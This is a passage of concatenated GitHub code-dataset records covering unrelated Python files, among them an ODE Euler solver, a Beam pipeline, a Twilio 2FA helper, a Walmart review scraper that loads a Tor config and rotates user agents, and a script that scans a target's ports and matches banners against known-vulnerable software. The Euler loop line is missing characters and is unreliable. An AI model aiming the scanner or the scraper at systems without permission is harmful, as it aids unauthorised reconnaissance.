AvailableSlotsViewsets.as_view()),\n]\n","repo_name":"samir321-pixel/Django_Cinema_Mall","sub_path":"Cinema/cinema_booking/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"38"} +{"seq_id":"72349392749","text":"#! /usr/bin/env python2\n\nimport matplotlib\nmatplotlib.use('Qt4Agg')\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nfrom scipy.integrate import odeint\n\nfrom math import *\n\n\"\"\"\nNumerik 2, explizites Euler-Verfahren \n\n\n\"\"\"\n\nfrom scipy import array, append, vstack\n\ndef euler(f, u0, T, h):\n \"\"\" \n uv, tv = euler(f, u0, T, h)\n \n Euler-Verfahren mit fester Schrittweite\n \n IN:\n f(u,t) : muss array auf array abbilden\n \n T : [t0,te]\n \n u0 : Startwert (array)\n \n h : Zeitschrittweite\n \n OUT:\n uv : Loesungskomponenten (Spalten) des arrays\n tv : array\n \n t0 und te sind sicher im Output\n \"\"\"\n \n # Start- und Endzeit ermitteln\n t0 = T[0]\n te = T[1]\n \n # Anfangswert ggf. auf Zeilenvektor transformieren\n u0 = array(u0).flatten()\n \n # Anfangszeit und -wert in Loesungsvektor eintragen\n tv = t0\n uv = u0.T\n \n \n # eigentliches Verfahren\n t = t0\n u = u0\n \n ttol = 1e-8 * h\n \n while t te-ttol:\n tn = te\n h = tn - t\n \n # Euler-Schritt \n un = u + h * f(u,t)\n \n # neuer Zeitpunkt und neue Naeherung uebernehmen \n t = tn\n u = un\n \n # aktuelles Ergebnis an den Ergbnisvektor anhaengen\n tv = append(tv, t)\n uv = vstack((uv, u))\n \n return (uv, tv)\n\nif __name__ == '__main__':\n t = np.arange(0, 100, 0.01)\n\n a = 0.001\n g = 100\n\n f = lambda x, t: a*x*(g-x)\n\n for x0 in [10, 200]:\n\n x_odeint = odeint(f, x0, t)\n x_exakt = map(lambda t: g / (1 + exp(-a*g*t)*(g-x0)/x0), t)\n\n plt.plot(t, x_odeint)\n plt.plot(t, x_exakt)\n plt.legend(['odeint', 'exakt'])\n\n for h in [10, 2, 1, 0.5]:\n x_euler, t_euler = euler(f, x0, (0, 100), h)\n plt.plot(t_euler, x_euler)\n\n plt.legend(['odeint', 'exakt', 'euler h=10', 'euler h=2', 'euler h=1', 'euler h=0.5'])\n plt.show()\n","repo_name":"chr-peters/Numerik2","sub_path":"ue_02/a_03.py","file_name":"a_03.py","file_ext":"py","file_size_in_byte":2160,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"23162673602","text":"lst = []\n\nwhile True:\n num = int(input(\"Enter a number [0 to stop ]:\"))\n if num == 0:\n break\n\n if num > 0:\n lst.append(num)\n\nfor n in sorted(lst):\n print(n, end = ' ')","repo_name":"srikanthpragada/PYTHON_14_MAY_2019","sub_path":"ex/sorted_positive.py","file_name":"sorted_positive.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32157032859","text":"class Pessoa:\r\n def __init__(self, cpf, nome, data_nascimento, usa_oculos):\r\n self.cpf = cpf\r\n self.nome = nome\r\n self.data_nascimento = data_nascimento\r\n self.usa_oculos = usa_oculos\r\n # Alteração para atender ao modulo de consulta\r\n self.veiculos = []\r\n\r\nclass Marca:\r\n def __init__(self, id, nome, sigla):\r\n # Alteração para atender ao modulo de consulta 'inclusao do id'\r\n self.id = id\r\n self.nome = nome\r\n self.sigla = sigla\r\n\r\nclass Veiculo:\r\n def __init__(self, placa, ano, cor, motor, proprietario, marca):\r\n self.placa = placa\r\n self.ano = ano\r\n self.cor = cor\r\n self.motor = motor\r\n self.proprietario = proprietario\r\n self.marca = marca\r\n","repo_name":"Tarcisio2code/Python","sub_path":"Estacio/Manipulates_Databases/modelo.py","file_name":"modelo.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"72383881071","text":"import logging\r\nimport apache_beam as beam\r\nfrom apache_beam.io import WriteToText\r\nfrom apache_beam.io.gcp.bigquery import ReadFromBigQuery, WriteToBigQuery\r\n\r\nclass FormatDate(beam.DoFn):\r\n def process(self, element):\r\n combined_key = element['combined_key']\r\n day_key = element['day_key']\r\n last_update = element['last_update']\r\n\r\n # split using comma to get [city,state,date]\r\n city,state,date = day_key.split(',')\r\n \r\n # Remove whitesapce in city name\r\n if len(city.split(' '))!=1 :\r\n city=city.replace(' ','_')\r\n \r\n # Remove whitesapce in city name\r\n if len(state.split(' '))!=1 :\r\n state=state.replace(' ','_')\r\n \r\n # Standardize date (mm/dd/yy)\r\n \r\n # Split key by whitespace(removes time), e.g Iowa,Ida,3/22/20 23:45 >Iowa,Ida,3/22/20\r\n date = date.split(' ')[0]\r\n \r\n # determine if date is in m/dd/yy or yyyy-dd-mm format\r\n if len(date.split('/'))==1:\r\n # date is in yyyy-mm-dd format\r\n year,month,day=date.split('-')\r\n year=year[2:]\r\n \r\n else:\r\n # date is in m/dd/yy\r\n month,day,year=date.split('/')\r\n if len(day)!=2:\r\n day='0'+day\r\n if len(month)!=2:\r\n month='0'+month\r\n date=month+'/'+day+'/'+year\r\n \r\n # combine to make keys\r\n combined_key=state+'_'+city\r\n day_key=combined_key+'_'+date\r\n last_update=date\r\n \r\n record = {'combined_key': combined_key, 'day_key': day_key, 'last_update': last_update}\r\n return [record] \r\n \r\ndef run():\r\n PROJECT_ID = 'starlit-vim-303003'\r\n BUCKET = 'gs://pandas-aj/temp'\r\n\r\n options = {\r\n 'project': PROJECT_ID\r\n }\r\n opts = beam.pipeline.PipelineOptions(flags=[], **options)\r\n\r\n p = beam.Pipeline('DirectRunner', options=opts)\r\n\r\n sql = 'SELECT * FROM datamart.Day'\r\n bq_source = ReadFromBigQuery(query=sql, use_standard_sql=True, gcs_location=BUCKET)\r\n\r\n query_results = p | 'Read from BQ' >> beam.io.Read(bq_source)\r\n\r\n out_pcoll = query_results | 'Format Name' >> beam.ParDo(FormatDate())\r\n\r\n out_pcoll | 'Write Results' >> WriteToText('output_day.txt')\r\n\r\n dataset_id = 'datamart'\r\n table_id = PROJECT_ID + ':' + dataset_id + '.' + 'day_beam'\r\n schema_id = 'combined_key:STRING,day_key:STRING,last_update:STRING'\r\n\r\n out_pcoll | 'Write to BQ' >> WriteToBigQuery(table=table_id, schema=schema_id, custom_gcs_temp_location=BUCKET)\r\n \r\n result = p.run()\r\n result.wait_until_finish() \r\n\r\n\r\nif __name__ == '__main__':\r\n logging.getLogger().setLevel(logging.ERROR)\r\n run()","repo_name":"cs327e-spring2021/CSE_327e_TeamPandas","sub_path":"day_beam.py","file_name":"day_beam.py","file_ext":"py","file_size_in_byte":2595,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"71637589229","text":"from twilio.rest import Client\r\nimport random\r\nimport sqlite3 as sql\r\nimport random\r\nfrom dotenv import load_dotenv\r\nimport os\r\n\r\nload_dotenv()\r\n\r\nclient = Client(os.getenv('account_sid'), os.getenv('auth_token'))\r\n\r\n\r\ndef return_phone_number(id):\r\n with sql.connect(\"database.db\") as con:\r\n cur = con.cursor()\r\n cur.execute(\"SELECT phone_number FROM users WHERE user_id = ?\", (id,))\r\n data = cur.fetchall()\r\n return data[0][0]\r\n\r\n\r\ndef send_otp(phone_number,otp):\r\n text = \"Your verification code is: \" + str(otp)\r\n message = client.messages.create(\r\n body = text, \r\n from_ = os.getenv('twilio_number'), \r\n to = phone_number\r\n )\r\n\r\ndef send_update(phone_number):\r\n text = \"You have just made edits to your saved passwords.\"\r\n\r\n \r\n\r\n client.messages.create(\r\n body = text,\r\n from_ = os.getenv('twilio_number'),\r\n to = phone_number\r\n ) \r\n\r\ndef send_update_personal(phone_number):\r\n text = \"You have just made edits to your PMS account\"\r\n\r\n \r\n\r\n client.messages.create(\r\n body = text,\r\n from_ = os.getenv('twilio_number'),\r\n to = phone_number\r\n ) ","repo_name":"ngvnngkhoi/pwmanager","sub_path":"password_manager/twofactor.py","file_name":"twofactor.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"74927659949","text":"##\n# This youtubers guides were used in this program\n# https://www.youtube.com/@CodingWithRuss\n\nimport pygame\n\nclass Image_Coords:\n def __init__(self, relative_x, relative_y) -> None:\n self._x = relative_x\n self._y = relative_y\n \n def x(self) -> float:\n return self._x\n \n def y(self) -> float:\n return self._y\n\n\naziz_1 = Image_Coords(0, 0)\naziz_2 = Image_Coords(0, 0)\naziz_3 = Image_Coords(0, 40)\naziz_4 = Image_Coords(0, 20)\naziz_5 = Image_Coords(0, -20)\naziz_6 = Image_Coords(0, -40)\naziz_7 = Image_Coords(0, 0)\naziz_8 = Image_Coords(0, 0)\n\nfile = \"animations/Aziz Animations/\"\n\naziz_images: dict[str, Image_Coords] = {\n f\"{file}Aziz 1.png\": aziz_1,\n f\"{file}Aziz 2.png\": aziz_2,\n f\"{file}Aziz 3.png\": aziz_3,\n f\"{file}Aziz 4.png\": aziz_4,\n f\"{file}Aziz 5.png\": aziz_5,\n f\"{file}Aziz 6.png\": aziz_6,\n f\"{file}Aziz 7.png\": aziz_7,\n f\"{file}Aziz 8.png\": aziz_8\n}\n\n\n\nclass Character(pygame.sprite.Sprite):\n def __init__(self, x, y, scale, speed, screen):\n pygame.sprite.Sprite.__init__(self)\n self.speed = speed\n self.direction = 1\n self.flip = False\n img = pygame.image.load(f'{file}Aziz 1.png')\n # Rescaling the img of the character that appears on the screen\n self.scale = scale\n self.image = pygame.transform.scale(img, (int(img.get_width() * scale), int(img.get_height() * scale)))\n self.rect = self.image.get_rect()\n self.rect.center = (x, y)\n self.x = x\n self.y = y\n self.level_points = 0\n self.super_points = 0\n self.damage = 50\n self.max_health = 100\n self._health = 100\n self.screen = screen\n self.shield = 0\n self.current_image = list(aziz_images.keys())[0]\n\n @property\n def health(self) -> int:\n \"\"\"Health getter.\"\"\"\n return self._health\n\n @health.setter\n def health(self, new_health) -> int:\n \"\"\"Healther setter.\"\"\"\n if new_health < 0:\n self._health = 0\n elif new_health > self.max_health:\n self._health = self.max_health\n else:\n self._health = new_health\n \n def get_image(self):\n return f\"{self.current_image}\"\n\n\n def change_image(self):\n is_image = False\n for image in aziz_images.keys():\n if image == list(aziz_images.keys())[-1]:\n self.current_image = list(aziz_images.keys())[0]\n break\n elif is_image:\n self.current_image = image\n break\n elif self.current_image == image:\n is_image = True\n\n img = pygame.image.load(self.current_image)\n self.image = pygame.transform.scale(img, (int(img.get_width() * self.scale), int(img.get_height() * self.scale)))\n\n def die(self):\n self.kill()\n\n def draw_health(self):\n green_percent = int(self.health / (self.max_health / 100))\n pygame.draw.rect(self.screen, (255, 0, 0), pygame.Rect(self.x - (self.image.get_width()/3), self.y - (0.5 * self.image.get_height()), 100, 5))\n pygame.draw.rect(self.screen, (0, 255, 0), pygame.Rect(self.x - (self.image.get_width()/3), self.y - (0.5 * self.image.get_height()), green_percent, 5))\n pygame.draw.rect(self.screen, (0, 0, 255), pygame.Rect(self.x - (self.image.get_width()/3), self.y - (0.53 * self.image.get_height()), self.shield, 5))\n\n","repo_name":"OnslowMitchellK/Projectile-Motion-Game","sub_path":"character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":3424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"41285851831","text":"import argparse\nimport os\nimport sys\n\nimport bpy\n\n\ndef export_as_obj(object, path):\n if path is None:\n path = os.path.join(os.getcwd(), f\"{object.name}.obj\")\n\n if os.path.isdir(path):\n path = os.path.join(path, f\"{object.name}.obj\")\n\n for o in bpy.data.objects:\n o.select_set(False)\n\n object.select_set(True)\n bpy.ops.export_scene.obj(filepath=path, use_selection=True, use_materials=False)\n return path\n\n\nif __name__ == \"__main__\":\n if \"--\" in sys.argv:\n arg_start = sys.argv.index(\"--\") + 1\n argv = sys.argv[arg_start:]\n parser = argparse.ArgumentParser()\n parser.add_argument(\"object_name\")\n parser.add_argument(\"-o\", \"--output\", dest=\"output_dir\", metavar=\"OUTPUT_FILEPATH\")\n args = parser.parse_known_args(argv)[0]\n export_as_obj(args.object_name, args.output_dir)\n","repo_name":"Victorlouisdg/Codim-IPC","sub_path":"cipc/export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"38"} +{"seq_id":"39264031689","text":"import time, os\nimport subprocess\nimport datetime\nfrom random import randint\nimport yaml\nimport json\nimport pandas as pd\nimport csv\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.firefox.firefox_profile import FirefoxProfile\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.common.exceptions import TimeoutException, WebDriverException, ElementNotVisibleException, NoSuchElementException\nfrom user_agents import get_user_agent\nfrom webdriver_amazon import webdriver_amazon\n\n\"\"\"\nWalmartReviewsCrawler.py by Secure A.I. Laboratory and Autonomy at The University of Texas at San Antonio\nPurpose:\n This program crawl data from the specific products on Walmart retail website. It will include retailer name,\n title, author, date of writing reviews, review content, review content words count, review content characters count,\n individual rating, overall rating, scraping time, product url.\n\nCommand Line Arguments:\n python WalmartReviewsCrawler.py \n\nInput: \n Provide specific product link to the program by using variable \"url\"\n For example: url= 'https://www.walmart.com/reviews/product/46605942'\n Using Google Chrome to inspect html page to find class tag, xpath and etc. for the requirements of application.\nResults:\n Print the list of product information as shown below.\n Examples:\n Reviews ID Product ID Product Name RetailerID RetailerName Title Author DateOfWritingReviews ReviewContent ReviewContentWordsCount ReviewContentCharactersCount IndividualRating OverallRating Scaping Time Product URL \n 1 1 HP OfficeJet 3830 All-in-One Printer 2 Walmart Great Buy HPGoals, 17-Oct-16 This printer has served purpose... 59 312 5 4.1 9/19/2019 17:41 https://www.walmart.com/reviews/product/46605942 \n \n\"\"\"\n\n#Load config.yml to implement tor for anonymous communication. Link: https://www.torproject.org/ \nwith open(\"../config/config.yml\", 'r') as ymlfile:\n cfg = yaml.load(ymlfile, Loader=yaml.FullLoader)\n\n# WalmartReviewsCrawler function parse reviews of the provided product.\n# Parameter: webdriver_amazon is imported from webdriver_amazon.py file to apply several functions from that file.\nclass WalmartReviewsCrawler(webdriver_amazon):\n # Parse all data content from each review\n def parse_single_review(self,result):\n # Path to store excel file\n path = '../Walmart_Excel_Data/walmart_data.csv'\n # The list of variables to store data during crawling.\n title=''\n author =''\n dateOfWritingReview=''\n individualRating=''\n reviewTitle =''\n reviewContent=''\n productID=''\n productName = ''\n retailerName=''\n productURL=''\n dateOfCrawling=''\n reviewContentSplit = ''\n reviewContentWordsCount=''\n reviewContentCharactersCount=''\n\n # Create the array list variable selectors to store id tag to drawl data.\n selectors = {\n #'title': 'review-title font-bold',\n 'author': 'review-footer-userNickname',\n 'date': 'review-footer-submissionTime',\n 'individual_rating': 'seo-avg-rating',\n 'body': 'collapsable-content-container'\n }\n\n # An array list variable to import product id, product name, retailer name, product url and date of crawling data.\n productData = {\n 'product_id': 241,\n 'product_name': 'The Sound Of Music (50th Anniversary Edition) (Widescreen)',\n 'retailer_name': 'Walmart',\n 'product_url': self.product_url,\n 'date_of_crawling': str(datetime.datetime.now())\n }\n\n results = dict()\n\n # Get title of product.\n try:\n element = result.find_element_by_css_selector(\"h3[itemprop='name']\")\n results['title'] = element.text\n title=element.text\n except:\n # Return \"None\" if the product does not have title.\n results['title'] = \"None\"\n pass\n reviewID=0;\n\n # Use selector variable to loop through selectors list to extract data by using class name.\n for key, selector in selectors.items():\n reviewID +=1\n try:\n element = result.find_element_by_class_name(selector)\n results[key] = element.text\n except NoSuchElementException as e:\n results[key] = \"None\"\n\n # A list of variables to store extracted data and fill them in csv file row by row.\n productID = productData['product_id']\n productName = productData['product_name']\n retailerName = productData['retailer_name']\n productURL = productData['product_url']\n dateOfCrawling = productData['date_of_crawling']\n author=results['author']\n dateOfWritingReview=results['date']\n individualRating = results['individual_rating']\n reviewTitle = results['title']\n reviewContent = results['body']\n reviewContentSplit = len(reviewContent.split())\n reviewContentWordsCount = str(reviewContentSplit)\n reviewContentCharactersCount = len(reviewContent)\n with open(path,'a',newline='',encoding='utf-8') as csvFile: \n writer = csv.writer(csvFile)\n writer.writerow([productID,productName,retailerName,author,title,dateOfWritingReview,reviewContent,reviewContentWordsCount,reviewContentCharactersCount,individualRating,dateOfCrawling,productURL])\n \n ### Get rating of review\n return results\n\n # parse_product_html function import default data into csv file.\n def parse_product_html(self, page_num): \n data = {\n 'product_name': 'HP OfficeJet 3830 All-in-One Printer',\n 'retailer_name': 'Walmart',\n 'product_url': self.product_url,\n 'date_of_crawling': str(datetime.datetime.now()),\n 'num_reviews_scraped': 0,\n 'reviews': [],\n }\n\n # Access review data container by using 'review' class name\n try:\n all_reviews = self.driver.find_elements_by_class_name('review')\n # If we could not find data in 'review' container. It will send below message.\n except NoSuchElementException as e:\n print (\"can not find reviews\")\n\n ### Loop through each review and parse for data\n csvData = []\n extractDataResult = dict()\n for i, result in enumerate(all_reviews):\n data['num_reviews_scraped'] += 1\n data['reviews'].append(self.parse_single_review(result))\n\n # Write data to csv file.\n def write_to_csv_file(self,csvData):\n product_header=[\"review_id\",\"product_name\",\"retailer_name\",\"product_url\",\"date_of_crawling\",\"title\",\"author\",\"date_of_writing_review\",\"individual_rating\",\"reviewContent\"]\n\n # The process of extract reviews data.\n def extract_reviews_process(self):\n self.driver.get(self.url)\n i = 0\n while True:\n i += 1\n if i % 1 == 0:\n print (\"PAGE: {}\".format(i))\n self.parse_product_html(i)\n if i == 1:\n try:\n next_reviews_page = self.driver.find_element_by_xpath('/html/body/div[2]/div/div[1]/div/div[4]/div[2]/div/div/button')\n next_reviews_page.click()\n time.sleep(randint(3,5))\n except WebDriverException as e:\n print(\"can not find first next button\")\n break\n else:\n try:\n next_reviews_page = self.driver.find_element_by_xpath('/html/body/div[2]/div/div[1]/div/div[4]/div[2]/div/div/button')\n next_reviews_page.click()\n time.sleep(randint(3,5))\n except WebDriverException as e:\n print(\"can not go to next button\")\n break\n\n# Starting the application by importing the url link to extract reviews data for certain product.\nif __name__ == \"__main__\":\n print ('Walmart Reviews Crawler starting...')\n url='https://www.walmart.com/reviews/product/42423359'\n driver = WalmartReviewsCrawler(url)\n driver.extract_reviews_process()\n driver.close_driver()","repo_name":"vohongthinh2011/Testing_Repo","sub_path":"Python_Selenium/src/WalmartReviewsCrawler.py","file_name":"WalmartReviewsCrawler.py","file_ext":"py","file_size_in_byte":8651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"35904875512","text":"import lib.tfnconv.CustomLayers.nconvlayer as nconv\nimport lib.tfnconv.CustomLayers.downsamplelayer as down\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.layers import Input, UpSampling2D, Concatenate, Conv2D, Lambda, LeakyReLU, BatchNormalization, Add\n\n#import model \n#path = '{0}\\{1}'.format(pathlib.Path(__file__).parent.parent.absolute(), 'lib\\pytracking')\n#sys.path.append(path)\n#tracker_module = importlib.import_module('pytracking.tracker.eco')\n\ndef create_model(padding, height, width, name):\n downs = 4\n filters = 2\n ks1 = 5\n ks2 = 3\n upsampling = UpSampling2D(size = 2, interpolation='nearest', name='up')\n conc = Concatenate(axis=-1)\n\n x = Input((height, width, 2), name='z')\n c= Input((height, width, 1), name='c')\n\n nconv1 = nconv.Nconv(filters=filters, kernel_size=(ks1,ks1), padding=padding, name='nconv_1') \n nconv2 = nconv.Nconv(filters=filters, kernel_size=(ks1,ks1), padding=padding, name='nconv_2') \n nconv3 = nconv.Nconv(filters=filters, kernel_size=(ks1,ks1), padding=padding, name='nconv_3')\n\n nconv4 = nconv.Nconv(filters=filters, kernel_size=(ks2,ks2), padding=padding, name='nconv_4')\n nconv5 = nconv.Nconv(filters=filters, kernel_size=(ks2,ks2), padding=padding, name='nconv_5')\n \n nconv6 = nconv.Nconv(filters=filters,kernel_size=(ks2,ks2), padding=padding, name='nconv_6') \n nconv7 = nconv.Nconv(filters=1, kernel_size=(1, 1), padding=padding, name='nconv_7') \n \n X_OUT = [] \n C_OUT = []\n\n for j in range(x.shape[-1]):\n x1, c1 = nconv1([x[...,j][...,None], c]) \n x1, c1 = nconv2([x1, c1]) \n x1, c1 = nconv3([x1, c1])\n \n X1_ds = [x1]\n C1_ds = [c1]\n \n for i in range(downs):\n x1_dss, c1_dss = down.Downsample(X1_ds[i].shape, 'down{0}_{1}'.format(i+2, j))([X1_ds[i], C1_ds[i]]) \n x1_ds, c1_ds = nconv2([x1_dss, c1_dss])\n x1_ds, c1_ds = nconv3([x1_ds, c1_ds])\n X1_ds.append(x1_ds) \n C1_ds.append(c1_ds) \n \n first = True\n for i in range(downs, 0,-1): \n if first:\n x1_up = upsampling(X1_ds[i]) \n c1_up = upsampling(C1_ds[i]) \n first = False\n else:\n x1_up = upsampling(x1_ds) \n c1_up = upsampling(c1_ds) \n \n conc_x1 = conc([X1_ds[i-1] ,x1_up]) \n conc_c1 = conc([C1_ds[i-1] ,c1_up]) \n \n x1_ds, c1_ds = nconv4([conc_x1, conc_c1]) \n x1_ds, c1_ds = nconv5([x1_ds, c1_ds])\n \n \n x1, c1 = nconv6([x1_ds, c1_ds])\n xout1, cout1 = nconv7([x1, c1]) \n X_OUT.append(xout1)\n C_OUT.append(cout1)\n \n out = Concatenate(axis=-1)([x for x in X_OUT])\n cout = sum(C_OUT)\n out = Concatenate(axis=-1)([out, cout]) \n out = Lambda(lambda x:x, name = \"est_out\")(out) \n return Model(inputs= [x, c], outputs=out, name = name)","repo_name":"ngunnar/tracking_reg","sub_path":"interpolation/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"10363629324","text":"\"\"\" Main entry point for the program. \"\"\"\n\nfrom colour import ok, warn\nfrom dependency_factory import DependencyFactory\n\nif __name__ == \"__main__\":\n dep_factory = DependencyFactory()\n\n for dep in dep_factory.deps():\n dep.load()\n\n loaded = dep_factory.names(loaded_only=True)\n failed = list(set(dep_factory.names()) ^ set(loaded))\n\n if len(failed) > 0:\n warn(f\"Failed to install: {', '.join(failed)}\")\n\n ok(f\"Installed: {', '.join(loaded)}\")\n","repo_name":"relf108/monotone","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20021953276","text":"from django.core.files.storage import Storage\nfrom fdfs_client.client import Fdfs_client, get_tracker_conf\nfrom django.conf import settings\n\nclass FastDFSStorage(Storage):\n \"\"\"FastDFS 文件存储类\"\"\"\n def __init__(self, client_conf=None, base_url=None):\n \"\"\"进行初始化\"\"\"\n if client_conf is None:\n client_conf = settings.FDFS_CLIENT_CONF\n self.client_conf = client_conf\n\n if base_url is None:\n base_url = settings.FDFS_URL\n self.base_url = base_url\n\n\n def _open(self, name, mode='rb'):\n pass\n\n def _save(self, name, content):\n \"\"\"保存文件使用\"\"\"\n # name:你选择的上传文件的名字\n # content:包含你上传文件内容的file对象\n\n # 创建一个Fdfs_client 对象\n client_conf = get_tracker_conf(self.client_conf)\n client = Fdfs_client(client_conf)\n # 上传文件到系统中\n res = client.upload_by_buffer(content.read())\n if res.get('Status') != 'Upload successed.':\n raise Exception('上传文件到Fast DFS失败')\n print('')\n else:\n # 获取返回的文件id\n filename = res.get('Remote file_id')\n return filename.decode()\n\n def exists(self, name):\n \"\"\"Django 判断新文件名是否可用\"\"\"\n return False\n\n def url(self, name):\n return self.base_url+name;\n","repo_name":"Pre-Hsj/Flower_Trade","sub_path":"utils/fastdfs/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"9072744122","text":"from rest_framework import serializers\n\nclass PrimaryKeyRelatedDictField(serializers.PrimaryKeyRelatedField):\n def __init__(self, **kwargs):\n self.repr_serializer = kwargs.pop('repr_serializer', None)\n super().__init__(**kwargs)\n\n def to_internal_value(self, data):\n from django.core.exceptions import ObjectDoesNotExist\n if isinstance(data, dict):\n data = data.get('id')\n if self.pk_field is not None:\n data = self.pk_field.to_internal_value(data)\n try:\n return self.get_queryset().get(pk=data)\n except ObjectDoesNotExist:\n self.fail('does_not_exist', pk_value=data)\n except (TypeError, ValueError):\n self.fail('incorrect_type', data_type=type(data).__name__)\n\n\n def use_pk_only_optimization(self):\n return False\n\n def to_representation(self, value):\n if self.repr_serializer:\n return self.repr_serializer(value).data\n super().to_representation(value)","repo_name":"rjdp/grabbngo_test","sub_path":"api/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70341282351","text":"\"\"\"\nGiven the head of a linked list, remove the nth node from the end of the list and return its head.\n\n\nTwo pass solution\n\nOne pass solution by using 2 pointers with n-node separte of them\n\"\"\"\n# Definition for singly-linked list.\nfrom typing import Optional\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\nclass Solution:\n def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:\n dummy = ListNode(0)\n dummy.next = head\n first = head \n while (first and n > 0):\n first = first.next\n n -= 1\n if (n== 0 and first == None):\n # indicating that we should move the first element\n return head.next\n second = head\n while (first):\n if (first.next==None):\n second.next = second.next.next if second.next.next is not None else None\n break\n first = first.next\n second = second.next\n \n return dummy.next\n ","repo_name":"chloe-qq/Leetcode-learning","sub_path":"LinkList/lc_19.py","file_name":"lc_19.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"43294184464","text":"# Script created by Chiriac Adrian Stefan (chr.adrian@yahoo.com)\n# Brief : script for detecting port vulnerability\n\n\nimport PortScannerClass\n\n\ntargets_ip = input('Enter Target To Scan For Vulnerable Open Ports: ')\nnr_of_ports = int(input('Enter Amount Of Ports You Want To Scan: '))\nvul_file = input('Enter Path to File With Vulnerable Softwares: ')\nprint('\\n')\n\ntarget = PortScannerClass.PortScan(targets_ip, nr_of_ports)\ntarget.scan()\n\nwith open(vul_file, 'r') as file: # Open the .txt file\n count = 0\n for banner in target.banners: # Compare found banners with vulnarable banners in the .txt file\n file.seek(0)\n for line in file.readlines():\n if line.strip() in banner:\n print('[!!] VULNERABLE BANNER: ' + banner + \" ON PORT \" + str(target.open_ports[count]))\n count += 1","repo_name":"ChrAdrian/BegginerProjects","sub_path":"VulnerabilityScanner/Vulscan.py","file_name":"Vulscan.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"8645741528","text":"#!/usr/bin/env python\n\n\"\"\"The setup script.\"\"\"\n\nfrom setuptools import find_packages, setup\n\n__author__ = \"Elle Smith\"\n__contact__ = \"eleanor.smith@stfc.ac.uk\"\n__copyright__ = \"Copyright 2020 United Kingdom Research and Innovation\"\n__license__ = \"BSD - see LICENSE file in top-level package directory\"\n\nwith open(\"README.rst\") as readme_file:\n readme = readme_file.read()\n\nwith open(\"HISTORY.rst\") as history_file:\n history = history_file.read()\n\n_init_lines = open(\"xarray_pickler/__init__.py\").readlines()\n_version_line = [line for line in _init_lines if line.startswith(\"__version__\")][0] \nversion = _version_line.split(\"=\")[1].strip().strip('\"')\n\nrequirements = [line.strip() for line in open(\"requirements.txt\")]\n\ndev_requirements = [line.strip() for line in open(\"requirements_dev.txt\")]\n\ntest_requirements = [\n \"pytest>=3\",\n]\n\ndocs_requirements = [\n \"sphinx\",\n \"sphinx-rtd-theme\",\n \"nbsphinx\",\n \"pandoc\",\n \"ipython\",\n \"ipykernel\",\n \"jupyter_client\",\n]\n\nsetup(\n author=__author__,\n author_email=__contact__,\n python_requires=\">=3.6\",\n setup_requires=[\"setuptools_scm\"],\n# use_scm_version=True,\n version=version,\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"Environment :: Console\",\n \"Environment :: Web Environment\",\n \"Intended Audience :: End Users/Desktop\",\n \"Intended Audience :: Developers\",\n \"Intended Audience :: System Administrators\",\n \"Intended Audience :: Science/Research\",\n \"License :: OSI Approved :: BSD License\",\n \"Natural Language :: English\",\n \"Operating System :: Microsoft :: Windows\",\n \"Operating System :: POSIX :: Linux\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Topic :: Security\",\n \"Topic :: Internet\",\n \"Topic :: Scientific/Engineering\",\n \"Topic :: System :: Distributed Computing\",\n \"Topic :: System :: Systems Administration :: Authentication/Directory\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n description=\"Simple package to speed up 'multi-file open' operations for xarray datasets. Uses a cache of pickle files to store the metadata in the `xarray.Dataset` object.\",\n entry_points={\n \"console_scripts\": [\n \"xarray_pickler=xarray_pickler.cli:main\",\n ],\n },\n install_requires=requirements,\n license=__license__,\n long_description=readme,\n long_description_content_type=\"text/x-rst\",\n include_package_data=True,\n 